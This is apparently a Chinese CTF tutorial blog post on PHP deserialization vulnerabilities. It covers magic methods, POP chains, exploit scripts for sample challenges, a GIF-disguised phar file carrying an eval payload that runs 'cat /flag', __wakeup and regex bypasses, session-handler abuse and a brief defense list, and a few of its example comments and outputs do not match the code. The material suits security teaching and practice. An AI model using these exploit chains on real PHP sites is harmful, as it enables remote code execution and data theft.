php反序列化漏洞

Scroll Down

php反序列化

相关概念

序列化

序列化的过程是将各种类和属性的信息转化成便于存储的字节流,也就是将数据信息进行一定格式的压缩存储

<?php
	class Person{
		public $name = 'noname';
		protected $id = '666';
		private $password = 'root123';

		public function set_Pwd($password)
		{
			$this->password = $password;
		}

		public function get_Pwd($password)
		{
			return $this->password;
		}
	}
	$p = new Person();
	echo serialize($p);

?>

不同的权限序列化的结果不一样

权限序列化结果
Public与序列化前相同
Protected\x00+*+\x00+变量名
Private\x00+类名+\x00+变量名

6c7f78dc4a47a847fa98511d45bc1e6e.png

反序列化

把字节流转换成对象实例

php反序列化漏洞

当反序列化的参数可控时,可以传入一个构造过的序列化字符串控制对象内部的变量或函数
所以反序列化函数参数可控是必备条件
魔术方法:
| 函数 | 触发条件 |
| --- | --- |
| __construct() | 当一个对象创建时被调用,但在unserialize()时是不会自动调用的 |
| __destruct() | 当一个对象销毁时被调用 |
| __toString() | 当一个对象被当作一个字符串使用时被调用 |
| __sleep() | serialize()时会自动调用 |
| __wakeup() | unserialize()时会自动调用 |
| __call() | 当调用对象中不存在的方法会自动调用该方法 |
| __get() | 在调用私有属性的时候会自动执行 |
| __isset() | 在不可访问的属性上调用isset()或empty()触发 |
| __unset() | 在不可访问的属性上使用unset()时触发 |
|__invoke() | 当脚本尝试将对象调用为函数时触发 |

https://www.php.net/manual/zh/language.oop5.magic.php

demo.php

<?php
	class User{
		private $test;

		//构造
		function __construct(){
			$this->test = new Welcome();
		}

		function __destruct(){
			$this->test->action();
		}
	}

	class Welcome{
		function action(){
			echo "Welcome~";
		}
		
	}

	class Devil{	
		private $data;
		function action(){
			eval($this->data);//恶意代码
		}
	}
	
	unserialize($_GET['a']);
?>

这里很明显是要利用eval这个恶意函数,重点就是要如何调用到这个类中的action函数
test
poc.php

<?php
	class User{
		private $test;

		//构造
		function __construct(){
			$this->test = new Devil();
		}

		//销毁时执行
		function __destruct(){
			$this->test->action();
		}
	}

	class Devil
	{	
		private $data = 'phpinfo();';
		//执行内容
		function action(){
			eval($this->data);
		}
	}
	
	$user = new User();
	$output = serialize($user);
	echo $output;
?>

pop链

其实上面的利用已经是小型的pop链,主要就是通过触发函数,导致接下来分析两道题

Example1

<?php
error_reporting(0);$flag=file_get_contents('/flag');highlight_file(__FILE__);
class Admin{
    public $username;
    public $password;
    function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    function __toString()
    {
        $this->login($this->username, $this->password);
    }
    function login($username, $password)
    {
        $username = addslashes($username);
        $password = addslashes($password);
        if ($username === 'admin' && $password === 'admin') {
            global $flag;
            echo $flag;
        }
    }
    function ban()
    {
        $times = 10 - (int)$_COOKIE['times'];
        if ($times <= 0) {
            die("You have been banned");
        } else {
            $times -= 1;
            setcookie('times', 10 - $times);
            die("You have $times times to try.");
        }
    }
}
class Guest{
    public $username;
    public $password;
    public $role;
    function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
        $this->role = 0;
    }
    function __call($method, $args)
    {
        $this->login($this->username, $this->password);
    }
    function login($username, $password)
    {
        $username = addslashes($username);
        $password = addslashes($password);
        if ($username === 'guest' && $password === 'guest') {
            $this->role = 0;
        }
    }
}
class User{
    public $username;
    public $password;
    public $role;
    public $admin;
    function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
        $this->role = 0;
        $this->admin = new Admin($username, $password);
    }
    function __wakeup()
    {
        $this->login($this->username, $this->password);
    }
    function login($username, $password)
    {
        // var_dump($username);
        if (isset($username) && isset($password)) {
            if ($username === 'guest' && $password === 'guest') {
                $this->role = 0;
                $this->admin->ban();
            }
        }
    }
}
if (!isset($_COOKIE['times'])) {
    setcookie('times', 0);
}unserialize($_GET['p']);

这里通过分析魔法函数的触发条件,可以得到一个链子
pop链:

User->__wakeup => User->login => Guest->__call => Guest->login =>Admin->__toString => Admin->login 

在实例化三个类的对象后,将User类对象的admin赋值为Guest类的对象,使其能满足

 if ($username === 'guest' && $password === 'guest') {                 
    $this->role = 0;                 
    $this->admin->ban();           
}

触发Guest类中不存在的ban(),从而触发__call(),最终完成整条链

exp

<?php
class Admin
{
    public $username = 'admin';
    public $password = 'admin';

}

class Guest
{
    public $username = 'guest';
    public $password = 'guest';
    public $role;
}

class User
{
    public $username = 'guest';
    public $password = 'guest';
    public $role;
    public $admin;

}

$a = new Admin();
$g = new Guest();
$u = new User();
$g->username = $a;
$u->admin = $g;
print_r($g);
echo '<br>';
echo serialize($u);

XCTF-Web_php_unserialize

<?php class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} ?>

GET传入$var
正则绕过preg_match ->在不区分大小写的情况下,若字符串出现o:数字 / c:数字 ,则会被过滤,但是如果要序列化,会出现Q
绕过weakup
base64加密
这是正常逻辑

# 实例化Demo对象
$obj = new Demo("fl4g.php");
# 序列化对象
$str = serialize($obj);
# 输出字符串
echo $str, PHP_EOL;
$A = new Demo ('fl4g.php');
$C = serialize($A);                     //改变属性绕过wake up 函数
$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C); 
var_dump($C);
var_dump(base64_encode($C));            //base64加密

phar扩展反序列化攻击面

前面的代码都是在通过控制参数,利用unserialize这个函数进行反序列化利用。而phar可以在没有unserialize的情况下进行反序列化。

这里用phar对文件进行压缩时会进行序列化,用phar://协议对phar进行文件操作的时候会进行反序列化,进而扩展了攻击面
限制:

phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

<?php
    class test{
        function __destruct(){
            echo "Destruct called";
        }
    }
    
    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename);
?>

phar文件

phar是一种压缩格式的文件,有四个构成部分
1.stub
格式:

xxx<?php xxx; __HALT_COMPILER();?>

前面内容不限但必须以__HALT_COMPILER();?>结尾,否则phar扩展无法识别这个文件为phar文件
2.manifest describing the contents
被压缩文件的权限属性。会以序列化的形式存储用户自定义的meta-data。
3.contents
被压缩文件的内容
4.signature
签名,在文件末尾

受影响的函数

99cf31f015aa9eaf557de539d5ee9b28.png

生成phar文件

修改本地php.ini

phar.readonly = Off

注意:php版本要在5.3以上,修改配置文件时要去掉分号
生成phar文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

伪造phar文件

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头

可以绕过上传检测

Example

题目就只有一个上传功能

show_image.php

<?php 
include("versioncomp.php");

echo "<h1>图片预览器</h1>";
$file_name=$_GET['filename'];

if(!isset($file_name)){
	$file_name='./upload_file/background.gif';
}

if(file_exists($file_name)){
	echo "<br><img widht=800 height=600 src=\"".$file_name."\"><br>";
}else{

	echo "还未上传图片";  

}

?>

upload_file.php
只允许上传gif,且最后都是upload_file/background.gif

<body>
<form action="./upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
<?php
error_reporting(0);
$file_dir="./upload_file/";
if(!is_dir($file_dir)){
mkdir($file_dir,0777,true);
}
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"]."<br>";
    echo "Type: " . $_FILES["file"]["type"]."<br>";
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/background.gif");
      echo "Stored in: " . "upload_file/background.gif";
   echo '<script>window.location.href="index.php?file=show_image"</script>';
    }
else
  {
  echo "you can only upload gif";
  }

versioncomp.php
这里是可以利用的反序列化代码

<?php

class FileVersionClass{
    public $fileSystem_version = 'Version_number';
    public $output = 'echo "system version is cahnge";';
    function __destruct()
    {
    	$realversion='1.0.0'.$this->fileSystem_version.'bak_version';
    	if(version_compare('1.0.0', $realversion)!==1){
                   eval($this -> output);
        };
    }
}

主要功能就是一个上传,这里限制了只能传gif图,而在FileVersionClass中有一个可以利用的eval函数,因为这里没有unserialize函数,所以要利用phar进行一个序列化和反序列化,先是在本地构造出一个phar包,之后利用file_exists配合phar://伪协议进行文件操作,触发反序列化
phar_gen.php

<?php
    class FileVersionClass{
        public $fileSystem_version = '1.0.0';//这里要注意更改成符合if判断的条件
        public $output = 'system("cat /flag");';//构造恶意语句
        function __destruct()
        {
            $realversion='1.0.0'.$this->fileSystem_version.'bak_version';
            if(version_compare('1.0.0', $realversion)!==1){
                       eval($this -> output);
            };
           
        }
    }

    $o = new FileVersionClass();
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); //设置stub,伪造gif
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    //签名自动计算
    $phar->stopBuffering();
?>

将生成的phar文件后缀改成.gif,上传,站点会给出上传的路径,最后在show_image.php页面进行文件操作

show_image.php?filename=phar://upload/background.gif

bypass

compress.zlib://
compress.bzip2://

反序列化字符逃逸

规则

;作为分隔,}作为结,并且按照序列化规则才能成功实现反序列化,即长度不符合的时候会报错。
但是如果符合规则,是可以反序列化类中不存在的元素的

<?php
class Person{
	public $name = 'noname';
}

var_dump(serialize(new Person()));//string(41) "O:6:"Person":1:{s:4:"name";s:6:"noname";}"
echo '<br>';

$str = 'O:6:"Person":2:{s:4:"name";s:6:"noname";s:3:"age";s:2:"18";}';//注意类中的属性数量要改成2

var_dump(unserialize($str));//object(Person)#1 (2) { ["name"]=> string(6) "noname" ["age"]=> string(2) "18" }

?>

所以我们是可以通过构造一个语句来篡改序列化后的对象实例中的属性和值的

字符增加的情况

<?php
	//这个函数是做一个字符替换,用yy去替换x
	function filter($string)
	{
		return str_replace('a','bb',$string);
	};

	//信息
	$user = 'xxl';
	$info = 'data';

	//以数组方式输出
	$data = array($user, $info);
	var_dump(serialize($data));//string(35) "a:2:{i:0;s:3:"xxx";i:1;s:4:"data";}"
	echo '<br>';

	$output = filter(serialize($data));
	var_dump($output);//string(38) "bb:2:{i:0;s:3:"xxx";i:1;s:4:"dbbtbb";}"
	echo '<br>';
?>

session反序列化

session存储机制

php内置多种处理器用于存储$_SESSION数据

处理器对应存储格式实例
php键名+竖线+经过serialize()函数反序列化处理的值
php_binary键名的长度对应的ASCII字符+键名+经过serialize()函数反序列化处理的值
php_serialize(php>=5.5.4)经过serialize()函数反序列化处理的数组
<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a']
?>

?a=noname

a|s:6:"noname";
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a']
?>

?a=noname

a:1:{s:1:"a";s:6:"noname";}

漏洞在于session的使用不当,在反序列化存储session数据和序列化时使用的引擎不一样,则会导致无法正确反序列化。

php默认用php引擎进行session存储,即形如a|s:6:"noname";若对输入没有进行过滤,可以利用竖线和分隔符,将前面变成键,后面构造恶意序列化数据

原生类利用

SoapClient+反序列化

SoapClient类触发反序列化+CRLF注入实现SSRF

防御方法

1.对unseralize中的参数进行严格过滤
2.对上传文件的内容进行检查

Reference:
https://xz.aliyun.com/t/2715
https://www.geek-share.com/detail/2791677381.html
http://123.57.164.1/2020/11/10/ctf%E4%B8%AD%E7%9A%84php%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/